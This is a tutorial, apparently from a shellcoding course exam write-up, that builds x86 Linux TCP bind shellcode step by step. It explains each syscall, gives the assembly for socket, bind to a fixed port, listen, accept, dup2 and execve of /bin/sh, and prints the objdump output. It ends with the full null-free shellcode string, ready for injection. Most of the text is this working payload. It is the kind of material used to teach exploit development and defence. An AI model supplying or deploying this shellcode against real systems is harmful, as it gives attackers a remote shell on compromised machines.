Creating Linux TCP Bind Shellcode

The TCP bind shell is used to setup a listener (or server) on the target machine which allows the attacker machine to execute commands on the said machine.

The TCP bind shell code consists of following function calls:

int socket(int domain, int type, int protocol);                          # creates an endpoint for communication and returns a descriptor
int bind(int sockfd, const struct sockaddr *addr,socklen_t addrlen);     # binds a name to a socket
int listen(int sockfd, int backlog);                                     # listen for connections on a socket
int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);       # accept a connection on a socket
int dup2(int oldfd, int newfd);                                          # duplicate a file descriptor. This syscall is issued 3 times to dupilcate stdin, stdout and stderr.
int execve(const char *filename, char *const argv[],char *const envp[]); # execute program

Syscall numbers for these functions can be found in /usr/include/i386-linux-gnu/asm/unistd_32.h and are as follows:

int socketcall(int call, unsigned long *args);                              # Syscall number; 102 or 0x66
int socket(int domain, int type, int protocol);                             # Called via sokcetcall Syscall number: 102 or 0x66. Argument no 1
int bind(int sockfd, const struct sockaddr_in *addr,socklen_t addrlen);     # Called via sokcetcall Syscall number: 102 or 0x66. Argument no 2
int listen(int sockfd, int backlog);                                        # Called via sokcetcall Syscall number: 102 or 0x66. Argument no 4
int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);          # Called via sokcetcall Syscall number: 102 or 0x66. Argument no 5
int dup2(int oldfd, int newfd);                                             # Syscall number: 63 or 0x3f
int execve(const char *filename, char *const argv[],char *const envp[]);    # Syscall number: 11 or 0xb

The first function (socket) takes in three arguments int domain, int type, int protocol. In this case the value of these arguments would be:

  • domain – AF_INET or 2 (represents IPv4)
  • type – SOCK_STREAM or 1 (represents TCP)
  • protocol – 0 (choose the most appropirate protocol)

Assembly code for this function call:

;storing arguments for socketcall syscall
 
XOR eax, eax
mov al, 0x66
XOR ebx, ebx
mov bl, 0x1
 
;storing arguments for socket function call
 
XOR edx, edx
PUSH edx
Push byte 1
Push byte 2
 
;storing arguments for socketcall syscall
mov ecx, esp
 
;Executing socketcall syscall
 
int 0x80
mov edi, eax ;storing return value i.e. sockfd in edi

The second function (bind) takes in three arguments int sockfd, const struct sockaddr_in *addr,socklen_t addrlen. In this case the value of these arguments would be:

  • sockfd – Socket file descriptor returned by the first syscall
  • *addr – Reference Socket structure address. Is is defined as follows:
          struct sockaddr_in {
          sa_family_t sin_family; /* address family: AF_INET */
          in_port_t sin_port; /* port in network byte order */
          struct in_addr sin_addr; /* internet address */
          };
    
  • addrlen – Length or size of socket structure

Assembly code for this syscall:

;storing arguments for socketcall syscall
 
XOR eax, eax
mov al, 0x66
XOR ebx, ebx
mov bl, 0x2
 
;storing sockaddr_n structure on stack
XOR edx, edx
push edx
push word 0x11d7 ; Port number to bind the shell on
push word 0x02
 
;storing arguments for bind function call
mov edx, esp
push byte 16
push edx
push edi
 
;storing arguments for socketcall syscall
mov ecx, esp
 
;Executing socketcall syscall
int 0x80

The third function (listen) takes in two arguments int sockfd, int backlog. In this case the value of these arguments would be:

  • sockfd – Socket file descriptor returned by the first syscall
  • backlog – maximum number of connections th server can accept. 1 in this case

Assembly code for this syscall:

;storing arguments for socketcall syscall
 
XOR eax, eax
mov al, 0x66
XOR ebx, ebx
mov bl, 0x4
 
;storing arguments for listen function call
 
Push byte 1
Push edi
 
;storing arguments for socketcall syscall
mov ecx, esp
 
;Executing socketcall syscall
 
int 0x80

The fourth function (accept) takes in three arguments int sockfd, struct sockaddr *addr, socklen_t *addrlen. In this case the value of these arguments would be:

  • sockfd – Socket file descriptor returned by the first syscall
  • *addr – NULL
  • *addrlen – NULL

Assembly code for this syscall:

;storing arguments for socketcall syscall
 
XOR eax, eax
mov al, 0x66
XOR ebx, ebx
mov bl, 0x5
 
;storing arguments for accept function call
 
XOR EDX, EDX
PUSH EDX
PUSH EDX
Push edi
 
;storing arguments for socketcall syscall
mov ecx, esp
 
;Executing socketcall syscall
 
int 0x80
mov ebx, eax ; storing the return value i.e. client file descriptor in ebx

The fifth syscall (dup2) takes in two arguments int oldfd, int newfd and is executed three times to copy stdin, stdout and stderr. In this case the value of these arguments would be:

  • oldfd – value returned by accept syscall
  • newfd – 0,1,2

Assembly code for this syscall:

XOR ECX, ECX
XOR EAX, EAX
mov al, 0x3f
int 0x80
 
inc ecx
XOR EAX, EAX
mov al, 0x3f
int 0x80
 
inc ecx
XOR EAX, EAX
mov al, 0x3f
int 0x80

The last syscall (execve) takes in three arguments const char *filename, char *const argv[],char *const envp[]. In this case the value of these arguments would be:

  • filename – “/bin/sh”
  • argv = NULL
  • envp = NULL

Assembly code for this syscall:

XOR EAX, EAX
PUSH EAX
PUSH 0x68732f2f
PUSH 0x6e69622f
MOV ebx, esp
MOV ECX, EAX
MOV EDX, EAX
MOV al, 0xb
int 0x80

Compiling and linking this file:

compiling

Testing the assembly code:

testing

Objdump output of assembly code:

ptlabmachine@ptlabmachineu1204:~/Documents/SLAE/SLAE-EXAM/1$ objdump ./bind_shell.o -d -M intel
 
./bind_shell.o: file format elf32-i386
 
Disassembly of section .text:
 
00000000 <_start>:
0: 31 c0 xor eax,eax
2: b0 66 mov al,0x66
4: 31 db xor ebx,ebx
6: b3 01 mov bl,0x1
8: 31 d2 xor edx,edx
a: 52 push edx
b: 6a 01 push 0x1
d: 6a 02 push 0x2
f: 89 e1 mov ecx,esp
11: cd 80 int 0x80
13: 89 c7 mov edi,eax
15: 31 c0 xor eax,eax
17: b0 66 mov al,0x66
19: 31 db xor ebx,ebx
1b: b3 02 mov bl,0x2
1d: 31 d2 xor edx,edx
1f: 52 push edx
20: 66 68 d7 11 pushw 0x11d7
24: 66 6a 02 pushw 0x2
27: 89 e2 mov edx,esp
29: 6a 10 push 0x10
2b: 52 push edx
2c: 57 push edi
2d: 89 e1 mov ecx,esp
2f: cd 80 int 0x80
31: 31 c0 xor eax,eax
33: b0 66 mov al,0x66
35: 31 db xor ebx,ebx
37: b3 04 mov bl,0x4
39: 6a 01 push 0x1
3b: 57 push edi
3c: 89 e1 mov ecx,esp
3e: cd 80 int 0x80
40: 31 c0 xor eax,eax
42: b0 66 mov al,0x66
44: 31 db xor ebx,ebx
46: b3 05 mov bl,0x5
48: 31 d2 xor edx,edx
4a: 52 push edx
4b: 52 push edx
4c: 57 push edi
4d: 89 e1 mov ecx,esp
4f: cd 80 int 0x80
51: 89 c3 mov ebx,eax
53: 31 c9 xor ecx,ecx
55: 31 c0 xor eax,eax
57: b0 3f mov al,0x3f
59: cd 80 int 0x80
5b: 41 inc ecx
5c: 31 c0 xor eax,eax
5e: b0 3f mov al,0x3f
60: cd 80 int 0x80
62: 41 inc ecx
63: 31 c0 xor eax,eax
65: b0 3f mov al,0x3f
67: cd 80 int 0x80
69: 31 c0 xor eax,eax
6b: 50 push eax
6c: 68 2f 2f 73 68 push 0x68732f2f
71: 68 2f 62 69 6e push 0x6e69622f
76: 89 e3 mov ebx,esp
78: 89 c1 mov ecx,eax
7a: 89 c2 mov edx,eax
7c: b0 0b mov al,0xb
7e: cd 80 int 0x80

The code does not contain any null characters.

Generting the shellcode:

generating shellcode

Testing the generated shellcode with run_shellcode.c

TCP Bind shellcode:

"\x31\xc0\xb0\x66\x31\xdb\xb3\x01\x31\xd2\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc7\x31\xc0\xb0\x66\x31\xdb\xb3\x02\x31\xd2\x52\x66\x68\xd7\x11\x66\x6a\x02\x89\xe2\x6a\x10\x52\x57\x89\xe1\xcd\x80\x31\xc0\xb0\x66\x31\xdb\xb3\x04\x6a\x01\x57\x89\xe1\xcd\x80\x31\xc0\xb0\x66\x31\xdb\xb3\x05\x31\xd2\x52\x52\x57\x89\xe1\xcd\x80\x89\xc3\x31\xc9\x31\xc0\xb0\x3f\xcd\x80\x41\x31\xc0\xb0\x3f\xcd\x80\x41\x31\xc0\xb0\x3f\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80"

Github link: TCP_BIND_SHELL_LINUX

Written on June 10, 2019